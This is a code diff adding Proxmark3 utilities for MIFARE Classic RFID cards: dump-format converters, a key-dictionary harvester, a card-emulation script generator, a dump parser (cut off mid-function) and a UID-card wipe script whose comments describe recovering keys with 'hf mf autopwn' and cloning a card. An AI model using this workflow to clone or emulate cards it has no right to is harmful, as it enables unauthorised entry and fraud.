uint64_t msclock(void); // a milliseconds clock
|
||||
|
||||
#endif
|
31
tools/mfc/pm3_eml2lower.sh
Executable file
31
tools/mfc/pm3_eml2lower.sh
Executable file
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# Andrei Costin <zveriu@gmail.com>, 2011
|
||||
# pm3_eml2lower.sh
|
||||
# Converts PM3 Mifare Classic emulator EML file to lower case (for easier comparison in some text-comparison tools)
|
||||
|
||||
# http://www.linuxquestions.org/questions/programming-9/bash-script-parsing-optional-parameters-621728/
|
||||
|
||||
# show program usage
|
||||
show_usage()
|
||||
{
|
||||
echo
|
||||
echo "Usage:"
|
||||
echo "${0##/} input.eml output.eml"
|
||||
exit
|
||||
}
|
||||
|
||||
# Minimum number of arguments needed by this program
|
||||
MINARGS=2
|
||||
|
||||
# get the number of command-line arguments given
|
||||
ARGC=$#
|
||||
|
||||
# check to make sure enough arguments were given or exit
|
||||
if [[ $ARGC -lt $MINARGS ]] ; then
|
||||
echo "Too few arguments given (Minimum:$MINARGS)"
|
||||
echo
|
||||
show_usage
|
||||
fi
|
||||
|
||||
tr '[:upper:]' '[:lower:]' < $1 > $2
|
27
tools/mfc/pm3_eml2mfd.py
Executable file
27
tools/mfc/pm3_eml2mfd.py
Executable file
|
@ -0,0 +1,27 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
'''
|
||||
# Andrei Costin <zveriu@gmail.com>, 2011
|
||||
# pm3_eml2mfd.py
|
||||
# Converts PM3 Mifare Classic emulator EML text file to MFD binary dump file
|
||||
'''
|
||||
|
||||
|
||||
import sys
|
||||
import binascii
|
||||
|
||||
def main(argv):
|
||||
argc = len(argv)
|
||||
if argc < 3:
|
||||
print('Usage:', argv[0], 'input.eml output.mfd')
|
||||
sys.exit(1)
|
||||
|
||||
with open(argv[1], "r") as file_inp, open(argv[2], "wb") as file_out:
|
||||
for line in file_inp:
|
||||
line = line.rstrip('\n').rstrip('\r')
|
||||
print(line)
|
||||
data = binascii.unhexlify(line)
|
||||
file_out.write(data)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
31
tools/mfc/pm3_eml2upper.sh
Executable file
31
tools/mfc/pm3_eml2upper.sh
Executable file
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# Andrei Costin <zveriu@gmail.com>, 2011
|
||||
# pm3_eml2upper.sh
|
||||
# Converts PM3 Mifare Classic emulator EML file to UPPER case (for easier comparison in some text-comparison tools)
|
||||
|
||||
# http://www.linuxquestions.org/questions/programming-9/bash-script-parsing-optional-parameters-621728/
|
||||
|
||||
# show program usage
|
||||
show_usage()
|
||||
{
|
||||
echo
|
||||
echo "Usage:"
|
||||
echo "${0##/} input.eml output.eml"
|
||||
exit
|
||||
}
|
||||
|
||||
# Minimum number of arguments needed by this program
|
||||
MINARGS=2
|
||||
|
||||
# get the number of command-line arguments given
|
||||
ARGC=$#
|
||||
|
||||
# check to make sure enough arguments were given or exit
|
||||
if [[ $ARGC -lt $MINARGS ]] ; then
|
||||
echo "Too few arguments given (Minimum:$MINARGS)"
|
||||
echo
|
||||
show_usage
|
||||
fi
|
||||
|
||||
tr '[:lower:]' '[:upper:]' < $1 > $2
|
53
tools/mfc/pm3_eml_mfd_test.py
Executable file
53
tools/mfc/pm3_eml_mfd_test.py
Executable file
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
|
||||
from tempfile import mkdtemp
|
||||
from shutil import rmtree
|
||||
|
||||
from string import hexdigits
|
||||
import unittest, os
|
||||
import pm3_eml2mfd, pm3_mfd2eml
|
||||
|
||||
class TestEmlMfd(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmpdir = mkdtemp()
|
||||
|
||||
def tearDown(self):
|
||||
rmtree(self.tmpdir)
|
||||
|
||||
EML2MFD_TESTCASES = [
|
||||
('', ''),
|
||||
("41424344\r\n45464748\n494A4B4C\n", "ABCDEFGHIJKL")
|
||||
]
|
||||
def test_eml2mfd(self):
|
||||
self.three_argument_test(pm3_eml2mfd.main, self.EML2MFD_TESTCASES)
|
||||
|
||||
def test_mfd2eml(self):
|
||||
self.three_argument_test(pm3_mfd2eml.main,
|
||||
map(reversed, self.EML2MFD_TESTCASES), c14n=hex_c14n)
|
||||
|
||||
def three_argument_test(self, operation, cases, c14n=str):
|
||||
for case_input, case_output in cases:
|
||||
try:
|
||||
inp_name = os.path.join(self.tmpdir, 'input')
|
||||
out_name = os.path.join(self.tmpdir, 'output')
|
||||
with open(inp_name, 'w') as in_file:
|
||||
in_file.write(case_input)
|
||||
operation(['', inp_name, out_name])
|
||||
with open(out_name, 'r') as out_file:
|
||||
self.assertEqual(c14n(case_output), c14n(out_file.read()))
|
||||
finally:
|
||||
for file_name in inp_name, out_name:
|
||||
if os.path.exists(file_name):
|
||||
os.remove(file_name)
|
||||
|
||||
|
||||
def hex_c14n(inp):
|
||||
"""
|
||||
Canonicalizes the input string by removing non-hexadecimal
|
||||
characters and making everything uppercase
|
||||
"""
|
||||
return ''.join(c.upper() for c in inp if c in hexdigits)
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
154
tools/mfc/pm3_gen_dictionary.py
Executable file
154
tools/mfc/pm3_gen_dictionary.py
Executable file
|
@ -0,0 +1,154 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import pexpect
|
||||
from colors import color
|
||||
import re
|
||||
import argparse
|
||||
import os
|
||||
import fnmatch
|
||||
|
||||
'''
|
||||
# pm3_gen_dictionary.py
|
||||
# Christian Herrmann, Iceman, <iceman@icesql.se> 2023
|
||||
# version = 'v1.0.0'
|
||||
#
|
||||
# This code is copyright (c) Christian Herrmann, 2023, All rights reserved.
|
||||
# For non-commercial use only, the following terms apply - for all other
|
||||
# uses, please contact the author:
|
||||
#
|
||||
# This code is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This code is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
#
|
||||
# Dependencies:
|
||||
#
|
||||
# pip3 install pexpect ansicolors
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# ./pm3_gen_dictionary.py --path folder --fn mydictionary.dic -v
|
||||
#
|
||||
# Info:
|
||||
# Will search all dump files files in given folder and all its subfolders
|
||||
# With the option to save found keys to a text file.
|
||||
#
|
||||
'''
|
||||
|
||||
def escape_ansi(line):
|
||||
ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]')
|
||||
return ansi_escape.sub('', str(line)).lower()
|
||||
|
||||
def parse_keys(line):
|
||||
"""
|
||||
Parse keys from a line and return them as a set.
|
||||
Keys must be 12 hex characters long
|
||||
:param line: string containing keys.
|
||||
:return: A set of keys read from the line
|
||||
"""
|
||||
keys = set()
|
||||
key_regex = re.compile('[0-9a-fA-F]{12}')
|
||||
|
||||
key = key_regex.findall(line)
|
||||
if not key:
|
||||
return []
|
||||
|
||||
try:
|
||||
keys.add(key[0])
|
||||
keys.add(key[1])
|
||||
except AttributeError:
|
||||
pass
|
||||
return keys
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--path", help="Path to folder")
|
||||
parser.add_argument("--fn", help="Dictionary file name")
|
||||
parser.add_argument("-v", help="verbose output", action="store_true")
|
||||
args = parser.parse_args()
|
||||
|
||||
path = args.path
|
||||
verbose = args.v
|
||||
# Check if the directory exists
|
||||
if not os.path.isdir(path):
|
||||
print("The provided directory does not exist.")
|
||||
return
|
||||
|
||||
# start pm3
|
||||
child = pexpect.spawnu('./pm3 -o')
|
||||
i = child.expect('pm3 --> ')
|
||||
print("[+] Proxmark3 client open")
|
||||
|
||||
|
||||
# MIFARE CLASSIC dumps
|
||||
pattern = 'hf-mf-*-dump*'
|
||||
|
||||
print(f'[+] Iterating all dumpfiles in... ', color(f'{path}', fg='cyan'))
|
||||
# Walk through the directory
|
||||
keys = set()
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files:
|
||||
# Check if the file name starts with the given prefix
|
||||
if fnmatch.fnmatch(file, pattern):
|
||||
if ":Zone.Identifier" in file:
|
||||
continue
|
||||
if ":OECustomProperty" in file:
|
||||
continue
|
||||
|
||||
f = os.path.join(root, file)
|
||||
cmd = f'hf mf view -v -f {f}'
|
||||
if verbose:
|
||||
print(cmd)
|
||||
|
||||
# Send proxmark3 commnad
|
||||
child.sendline(cmd)
|
||||
i = child.expect('pm3 --> ')
|
||||
msg = escape_ansi(str(child.before))
|
||||
|
||||
# extract key table from msg
|
||||
found = False
|
||||
for line in msg.splitlines():
|
||||
|
||||
if found == False:
|
||||
key_row = line.find('000 | 003')
|
||||
if key_row > -1:
|
||||
found = True
|
||||
|
||||
if found:
|
||||
foo = parse_keys(line)
|
||||
if not foo:
|
||||
found = False
|
||||
continue
|
||||
|
||||
# append found set
|
||||
keys |= foo
|
||||
|
||||
# shut down proxmark3 client connection
|
||||
child.sendline('quit')
|
||||
child.expect(pexpect.EOF)
|
||||
print("[+] Proxmark3 client closed")
|
||||
|
||||
# print all found keys
|
||||
if verbose:
|
||||
for k in keys:
|
||||
print(f'{k}')
|
||||
print("")
|
||||
|
||||
# save keys
|
||||
if args.fn:
|
||||
print(f'[+] Writing keys to dictionary file... ', color(f'{args.fn}', fg='cyan'))
|
||||
with open(args.fn, 'w') as f:
|
||||
for k in keys:
|
||||
f.write(f'{k}\n')
|
||||
|
||||
return 0
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
35
tools/mfc/pm3_gen_mfsim.sh
Executable file
35
tools/mfc/pm3_gen_mfsim.sh
Executable file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# Andrei Costin <zveriu@gmail.com>, 2011
|
||||
# gen_pm3mfsim_script.sh
|
||||
# Generates Mifare Classic emulation script file that will load a given EML dump into PM3 and start emulation automagically
|
||||
|
||||
# http://www.linuxquestions.org/questions/programming-9/bash-script-parsing-optional-parameters-621728/
|
||||
|
||||
# show program usage
|
||||
show_usage()
|
||||
{
|
||||
echo
|
||||
echo "Usage:"
|
||||
echo "${0##/} input_eml_without_extension output.cmd"
|
||||
exit
|
||||
}
|
||||
|
||||
# Minimum number of arguments needed by this program
|
||||
MINARGS=2
|
||||
|
||||
# get the number of command-line arguments given
|
||||
ARGC=$#
|
||||
|
||||
# check to make sure enough arguments were given or exit
|
||||
if [[ $ARGC -lt $MINARGS ]] ; then
|
||||
echo "Too few arguments given (Minimum:$MINARGS)"
|
||||
echo
|
||||
show_usage
|
||||
fi
|
||||
|
||||
rm $2
|
||||
echo "hf mf eclr" >> $2
|
||||
echo "hf mf eload -f " $1 >> $2
|
||||
echo "hf mf ekeyprn" >> $2
|
||||
echo "hf mf sim --1k -u" `cat $1.eml | (read -n 8 uid; echo $uid)` >> $2
|
80
tools/mfc/pm3_key_file_diff.py
Executable file
80
tools/mfc/pm3_key_file_diff.py
Executable file
|
@ -0,0 +1,80 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
########################################################################
|
||||
#
|
||||
# Copyright 2018 Gerhard Klostermeier
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
########################################################################
|
||||
#
|
||||
# Usage: ./key-file-diff.py <file A> <file B>
|
||||
#
|
||||
########################################################################
|
||||
#
|
||||
# Info:
|
||||
# - Read two key files and show the keys that are in file B but not in A.
|
||||
# - Keys must be 12 hex characters long and at the beginning of a line.
|
||||
#
|
||||
########################################################################
|
||||
|
||||
|
||||
import re
|
||||
|
||||
|
||||
def main(args):
|
||||
"""
|
||||
Read two key files and show the keys that are in file B but not in A.
|
||||
:param args: Path to two key files A and B (positional shell parameters).
|
||||
:return: 0 if everything went fine.
|
||||
"""
|
||||
key_file_a = args[1]
|
||||
key_file_b = args[2]
|
||||
|
||||
with open(key_file_a, 'r') as f:
|
||||
keys_a = parse_keys(f)
|
||||
with open(key_file_b, 'r') as f:
|
||||
keys_b = parse_keys(f)
|
||||
|
||||
# Show all keys that are in B but not in A.
|
||||
keys_diff = keys_b.difference(keys_a)
|
||||
for key in keys_diff:
|
||||
print(key)
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
def parse_keys(file):
|
||||
"""
|
||||
Parse keys from a file and return them as a set.
|
||||
Keys must be 12 hex characters long and at the beginning of a line.
|
||||
:param file: Path to a file containing keys.
|
||||
:return: A set of keys read from the file.
|
||||
"""
|
||||
keys = set()
|
||||
key_regex = re.compile('^[0-9a-fA-F]{12}')
|
||||
for line in file:
|
||||
key = key_regex.match(line)
|
||||
try:
|
||||
key = key.group(0).upper()
|
||||
keys.add(key)
|
||||
except AttributeError:
|
||||
pass
|
||||
return keys
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
sys.exit(main(sys.argv))
|
147
tools/mfc/pm3_mf7b_wipe.py
Executable file
147
tools/mfc/pm3_mf7b_wipe.py
Executable file
|
@ -0,0 +1,147 @@
|
|||
#! /usr/bin/env python3.6
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# VULNERS OPENSOURCE
|
||||
# __________________
|
||||
#
|
||||
# Vulners Project [https://vulners.com]
|
||||
# All Rights Reserved.
|
||||
#
|
||||
# Author: Kir [isox@vulners.com]
|
||||
# Credits: Dennis Goh [dennis@rfidresearchgroup.com]
|
||||
#
|
||||
# This helper script is made for wiping S50 7byte UID cards with Gen2 magic commands from restored state to blank one.
|
||||
#
|
||||
# Scenario:
|
||||
# You want to clone 7byte Mifare 1k card using RfidResearchGroup Proxmark3 RDV4.0
|
||||
#
|
||||
# Step 1: Dumping original card and making a Mifare 7byte UID clone using S50 7byte UID
|
||||
#
|
||||
# Place original card to the reader.
|
||||
# Dump data and recover keys
|
||||
#
|
||||
# hf mf autopwn
|
||||
#
|
||||
# You will get data, EML and key file. Backup this file, you will need them to wipe the card back to blank state.
|
||||
# Place blank S50 card to the reader.
|
||||
#
|
||||
# Get first line from EML file (block0) and write it down using command
|
||||
#
|
||||
# Place it here
|
||||
# |
|
||||
# |
|
||||
# v
|
||||
# hf mf wrbl --blk 0 -b -k FFFFFFFFFFFF -d 046E46AAA53480084400120111003113
|
||||
#
|
||||
# Now restore all the data using built-in restore command
|
||||
#
|
||||
# hf mf restore
|
||||
#
|
||||
# Step 2: Recovering S50 7byte UID card to the blank state
|
||||
#
|
||||
# Find current card data files from Step 1 in your backup or if you lost them create them again using 'hf mf autopwn' command.
|
||||
# Place them in current working directory.
|
||||
#
|
||||
# Read hf-mf-CARD_UID-data.eml file and copy it content with CTRL-C.
|
||||
# Place it to the eml variable in this script.
|
||||
#
|
||||
# Check execution command and check device and command name: 'proxmark3 -c "%s" /dev/tty.usbmodemiceman1'
|
||||
#
|
||||
# Run script and review key blocks returning to default FFFFFFFFFFFF state.
|
||||
# Be patient! It is executing aprox 3 minutes.
|
||||
# Success one result looks like:
|
||||
#
|
||||
# Block 0: Success: isOk:01
|
||||
# Block 3: Success: isOk:01
|
||||
# Block 7: Success: isOk:01
|
||||
# Block 11: Success: isOk:01
|
||||
# Block 15: Success: isOk:01
|
||||
# Block 19: Success: isOk:01
|
||||
# Block 23: Success: isOk:01
|
||||
# Block 27: Success: isOk:01
|
||||
# Block 31: Success: isOk:01
|
||||
# Block 35: Success: isOk:01
|
||||
# Block 39: Success: isOk:01
|
||||
# Block 43: Success: isOk:01
|
||||
# Block 47: Success: isOk:01
|
||||
# Block 51: Success: isOk:01
|
||||
# Block 55: Success: isOk:01
|
||||
# Block 59: Success: isOk:01
|
||||
# Block 63: Success: isOk:01
|
||||
#
|
||||
# That's it! Your S50 7byte UID card is wiped back. Now you can return back to Step 1 of this manual.
|
||||
#
|
||||
#
|
||||
|
||||
import subprocess
|
||||
|
||||
# EML data var te get keys of
|
||||
EML_FILE_DATA = """PLACE RAW hf-mf-CARD_UID-dump.eml FILE CONTENT OF CURRENTLY LOADED CARD HERE"""
|
||||
# Change your device name here if it differs from the default Proxmark3 RDV4.0
|
||||
PROXMARK_BIN_EXEC_STRING = './pm3 -c "%s"'
|
||||
# Constants
|
||||
DEFAULT_ACCESS_BLOCK = "FFFFFFFFFFFFFF078000FFFFFFFFFFFF"
|
||||
F12_KEY = "FFFFFFFFFFFF"
|
||||
|
||||
def exec_proxmark_cmd(command, retry = 2, input=""):
|
||||
exec_ok = False
|
||||
retry_c = 0
|
||||
while not exec_ok and retry_c < retry:
|
||||
sh_command = PROXMARK_BIN_EXEC_STRING % command
|
||||
rst = subprocess.run(sh_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=input.encode("utf-8"))
|
||||
|
||||
proxmark_reply = rst.stdout.decode("utf-8")
|
||||
proxmark_status = proxmark_reply.splitlines()[-1:][0].strip()
|
||||
if proxmark_status == "ok":
|
||||
return True, "Success: " + proxmark_status
|
||||
retry_c += 1
|
||||
return False, "Error: %s , status %s" % (proxmark_reply.splitlines()[-2:][0], proxmark_status)
|
||||
|
||||
|
||||
def chunk(iterable,n):
|
||||
"""assumes n is an integer>0
|
||||
"""
|
||||
iterable=iter(iterable)
|
||||
while True:
|
||||
result=[]
|
||||
for i in range(n):
|
||||
try:
|
||||
a=next(iterable)
|
||||
except StopIteration:
|
||||
break
|
||||
else:
|
||||
result.append(a)
|
||||
if result:
|
||||
yield result
|
||||
else:
|
||||
break
|
||||
|
||||
sector_array = [sector for sector in chunk(EML_FILE_DATA.splitlines(), 4)]
|
||||
block = 0
|
||||
block_success = {}
|
||||
|
||||
for sector in sector_array:
|
||||
key_A = sector[3][:12]
|
||||
key_B = sector[3][-12:]
|
||||
for _block in range(0,4):
|
||||
if sector_array.index(sector) == 0 and block == 0:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -b -k %s -d %s" % (block, key_B, sector[0]))
|
||||
if not write_status:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -a -k %s -d %s" % (block, key_A, sector[0]))
|
||||
if not write_status:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -a -k %s -d %s" % (block, F12_KEY, sector[0]))
|
||||
block_success[block] = verbose
|
||||
|
||||
elif _block == 3:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -b -k %s -d %s" % (block, key_B, DEFAULT_ACCESS_BLOCK))
|
||||
if not write_status:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -a -k %s -d %s" % (block, key_A, DEFAULT_ACCESS_BLOCK))
|
||||
if not write_status:
|
||||
write_status, verbose = exec_proxmark_cmd("hf mf wrbl --blk %s -a -k %s -d %s" % (block, F12_KEY, DEFAULT_ACCESS_BLOCK))
|
||||
block_success[block] = verbose
|
||||
|
||||
_block += 1
|
||||
block += 1
|
||||
|
||||
for block in block_success:
|
||||
print("Block %s: %s" % (block ,block_success[block]))
|
30
tools/mfc/pm3_mfd2eml.py
Executable file
30
tools/mfc/pm3_mfd2eml.py
Executable file
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
'''
|
||||
# Andrei Costin <zveriu@gmail.com>, 2011
|
||||
# pm3_eml2mfd.py
|
||||
# Converts PM3 Mifare Classic MFD binary dump file to emulator EML text file
|
||||
'''
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
READ_BLOCKSIZE = 16
|
||||
|
||||
def main(argv):
|
||||
argc = len(argv)
|
||||
if argc < 3:
|
||||
print('Usage:', argv[0], 'input.mfd output.eml')
|
||||
sys.exit(1)
|
||||
|
||||
with open(argv[1], "rb") as file_inp, open(argv[2], "w") as file_out:
|
||||
while True:
|
||||
byte_s = file_inp.read(READ_BLOCKSIZE)
|
||||
if not byte_s:
|
||||
break
|
||||
hex_char_repr = byte_s.hex()
|
||||
file_out.write(hex_char_repr)
|
||||
file_out.write("\n")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
266
tools/mfc/pm3_mfdread.py
Executable file
266
tools/mfc/pm3_mfdread.py
Executable file
|
@ -0,0 +1,266 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# mfdread.py - Mifare dumps parser in human readable format
|
||||
# Pavel Zhovner <pavel@zhovner.com>
|
||||
# https://github.com/zhovner/mfdread
|
||||
#
|
||||
#Dependencies:
|
||||
# easy_install bitstring
|
||||
#or
|
||||
# pip install bitstring
|
||||
#Usage:
|
||||
# pm3_mfdread.py ./dump.mfd
|
||||
#
|
||||
|
||||
import codecs
|
||||
import copy
|
||||
import sys
|
||||
from collections import defaultdict
|
||||
|
||||
try:
|
||||
from bitstring import BitArray
|
||||
except ModuleNotFoundError:
|
||||
print("Please install bitstring module first.")
|
||||
sys.exit(1)
|
||||
|
||||
class Options:
|
||||
FORCE_1K = False
|
||||
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
sys.exit('''
|
||||
------------------
|
||||
Usage: pm3_mfdread.py ./dump.mfd
|
||||
Mifare dumps reader.
|
||||
''')
|
||||
|
||||
|
||||
def decode(bytes):
|
||||
decoded = codecs.decode(bytes, "hex")
|
||||
try:
|
||||
return str(decoded, "utf-8").rstrip(b'\0')
|
||||
except:
|
||||
return ""
|
||||
|
||||
|
||||
class bashcolors:
|
||||
BLUE = '\033[34m'
|
||||
RED = '\033[91m'
|
||||
GREEN = '\033[32m'
|
||||
WARNING = '\033[93m'
|
||||
ENDC = '\033[0m'
|
||||
|
||||
|
||||
def accbits_for_blocknum(accbits_str, blocknum):
|
||||
'''
|
||||
Decodes the access bit string for block "blocknum".
|
||||
Returns the three access bits for the block or False if the
|
||||
inverted bits do not match the access bits.
|
||||
'''
|
||||
bits = BitArray([0])
|
||||
inverted = BitArray([0])
|
||||
|
||||
# Block 0 access bits
|
||||
if blocknum == 0:
|
||||
bits = BitArray([accbits_str[11], accbits_str[23], accbits_str[19]])
|
||||
inverted = BitArray([accbits_str[7], accbits_str[3], accbits_str[15]])
|
||||
|
||||
# Block 0 access bits
|
||||
elif blocknum == 1:
|
||||
bits = BitArray([accbits_str[10], accbits_str[22], accbits_str[18]])
|
||||
inverted = BitArray([accbits_str[6], accbits_str[2], accbits_str[14]])
|
||||
# Block 0 access bits
|
||||
elif blocknum == 2:
|
||||
bits = BitArray([accbits_str[9], accbits_str[21], accbits_str[17]])
|
||||
inverted = BitArray([accbits_str[5], accbits_str[1], accbits_str[13]])
|
||||
# Sector trailer / Block 3 access bits
|
||||
elif blocknum in (3, 15):
|
||||
bits = BitArray([accbits_str[8], accbits_str[20], accbits_str[16]])
|
||||
inverted = BitArray([accbits_str[4], accbits_str[0], accbits_str[12]])
|
||||
|
||||
# Check the decoded bits
|
||||
inverted.invert()
|
||||
if bits.bin == inverted.bin:
|
||||
return bits
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def accbits_to_permission_sector(accbits):
|
||||
permissions = {
|
||||
'000': "- A | A - | A A [read B]",
|
||||
'010': "- - | A - | A - [read B]",
|
||||
'100': "- B | A/B - | - B",
|
||||
'110': "- - | A/B - | - -",
|
||||
'001': "- A | A A | A A [transport]",
|
||||
'011': "- B | A/B B | - B",
|
||||
'101': "- - | A/B B | - -",
|
||||
'111': "- - | A/B - | - -",
|
||||
}
|
||||
if isinstance(accbits, BitArray):
|
||||
return permissions.get(accbits.bin, "unknown")
|
||||
else:
|
||||
return ""
|
||||
|
||||
|
||||
def accbits_to_permission_data(accbits):
|
||||
permissions = {
|
||||
'000': "A/B | A/B | A/B | A/B [transport]",
|
||||
'010': "A/B | - | - | - [r/w]",
|
||||
'100': "A/B | B | - | - [r/w]",
|
||||
'110': "A/B | B | B | A/B [value]",
|
||||
'001': "A/B | - | - | A/B [value]",
|
||||
'011': " B | B | - | - [r/w]",
|
||||
'101': " B | - | - | - [r/w]",
|
||||
'111': " - | - | - | - [r/w]",
|
||||
}
|
||||
if isinstance(accbits, BitArray):
|
||||
return permissions.get(accbits.bin, "unknown")
|
||||
else:
|
||||
return ""
|
||||
|
||||
|
||||
def accbit_info(accbits, sector_size):
|
||||
'''
|
||||
Returns a dictionary of a access bits for all three blocks in a sector.
|
||||
If the access bits for block could not be decoded properly, the value is set to False.
|
||||
'''
|
||||
access_bits = defaultdict(lambda: False)
|
||||
|
||||
if sector_size == 15:
|
||||
access_bits[sector_size] = accbits_for_blocknum(accbits, sector_size)
|
||||
return access_bits
|
||||
|
||||
# Decode access bits for all 4 blocks of the sector
|
||||
for i in range(0, 4):
|
||||
access_bits[i] = accbits_for_blocknum(accbits, i)
|
||||
return access_bits
|
||||
|
||||
|
||||
def print_info(data):
|
||||
blocksmatrix = []
|
||||
blockrights = {}
|
||||
block_number = 0
|
||||
|
||||
data_size = len(data)
|
||||
|
||||
if data_size not in {4096, 1024}:
|
||||
sys.exit("Wrong file size: %d bytes.\nOnly 1024 or 4096 allowed." % len(data))
|
||||
|
||||
if Options.FORCE_1K:
|
||||
data_size = 1024
|
||||
|
||||
# read all sectors
|
||||
sector_number = 0
|
||||
start = 0
|
||||
end = 64
|
||||
while True:
|
||||
sector = data[start:end]
|
||||
sector = codecs.encode(sector, 'hex')
|
||||
if not isinstance(sector, str):
|
||||
sector = str(sector, 'ascii')
|
||||
sectors = [sector[x:x + 32] for x in range(0, len(sector), 32)]
|
||||
|
||||
blocksmatrix.append(sectors)
|
||||
|
||||
# after 32 sectors each sector has 16 blocks instead of 4
|
||||
sector_number += 1
|
||||
if sector_number < 32:
|
||||
start += 64
|
||||
end += 64
|
||||
elif sector_number == 32:
|
||||
start += 64
|
||||
end += 256
|
||||
else:
|
||||
start += 256
|
||||
end += 256
|
||||
|
||||
if start == data_size:
|
||||
break
|
||||
|
||||
blocksmatrix_clear = copy.deepcopy(blocksmatrix)
|
||||
|
||||
# add colors for each keyA, access bits, KeyB
|
||||
for c in range(0, len(blocksmatrix)):
|
||||
sector_size = len(blocksmatrix[c]) - 1
|
||||
|
||||
# Fill in the access bits
|
||||
blockrights[c] = accbit_info(BitArray('0x' + blocksmatrix[c][sector_size][12:20]), sector_size)
|
||||
|
||||
# Prepare colored output of the sector trailor
|
||||
keyA = bashcolors.RED + blocksmatrix[c][sector_size][0:12] + bashcolors.ENDC
|
||||
accbits = bashcolors.GREEN + blocksmatrix[c][sector_size][12:20] + bashcolors.ENDC
|
||||
keyB = bashcolors.BLUE + blocksmatrix[c][sector_size][20:32] + bashcolors.ENDC
|
||||
|
||||
blocksmatrix[c][sector_size] = keyA + accbits + keyB
|
||||
|
||||
print("File size: %d bytes. Expected %d sectors" % (len(data), sector_number))
|
||||
print("\n\tUID: " + blocksmatrix[0][0][0:8])
|
||||
print("\tBCC: " + blocksmatrix[0][0][8:10])
|
||||
print("\tSAK: " + blocksmatrix[0][0][10:12])
|
||||
print("\tATQA: " + blocksmatrix[0][0][12:14])
|
||||
print(" %sKey A%s %sAccess Bits%s %sKey B%s" % (
|
||||
bashcolors.RED, bashcolors.ENDC, bashcolors.GREEN, bashcolors.ENDC, bashcolors.BLUE, bashcolors.ENDC))
|
||||
print("╔═════════╦═══════╦══════════════════════════════════╦════════╦═════════════════════════════════════╗")
|
||||
print("║ Sector ║ Block ║ Data ║ Access ║ A | Acc. | B ║")
|
||||
print("║ ║ ║ ║ ║ r w | r w | r w [info] ║")
|
||||
print("║ ║ ║ ║ ║ r | w | i | d/t/r ║")
|
||||
|
||||
for q in range(0, len(blocksmatrix)):
|
||||
print("╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣")
|
||||
n_blocks = len(blocksmatrix[q])
|
||||
|
||||
# z is the block in each sector
|
||||
for z in range(0, len(blocksmatrix[q])):
|
||||
|
||||
# Format the access bits. Print ERR in case of an error
|
||||
if isinstance(blockrights[q][z], BitArray):
|
||||
accbits = bashcolors.GREEN + blockrights[q][z].bin + bashcolors.ENDC
|
||||
else:
|
||||
accbits = bashcolors.WARNING + "ERR" + bashcolors.ENDC
|
||||
|
||||
if q == 0 and z == 0:
|
||||
permissions = "-"
|
||||
|
||||
elif z == n_blocks - 1:
|
||||
permissions = accbits_to_permission_sector(blockrights[q][z])
|
||||
else:
|
||||
permissions = accbits_to_permission_data(blockrights[q][z])
|
||||
|
||||
# Print the sector number in the second third row
|
||||
if z == 2:
|
||||
qn = q
|
||||
else:
|
||||
qn = ""
|
||||
|
||||
print("║ %-5s║ %-3d ║ %s ║ %s ║ %-35s ║ %s" % (qn, block_number, blocksmatrix[q][z],
|
||||
accbits, permissions,
|
||||
decode(blocksmatrix_clear[q][z])))
|
||||
|
||||
block_number += 1
|
||||
|
||||
print("╚═════════╩═══════╩══════════════════════════════════╩════════╩═════════════════════════════════════╝")
|
||||
|
||||
|
||||
def main(args):
|
||||
if args[0] == '-n':
|
||||
args.pop(0)
|
||||
bashcolors.BLUE = ""
|
||||
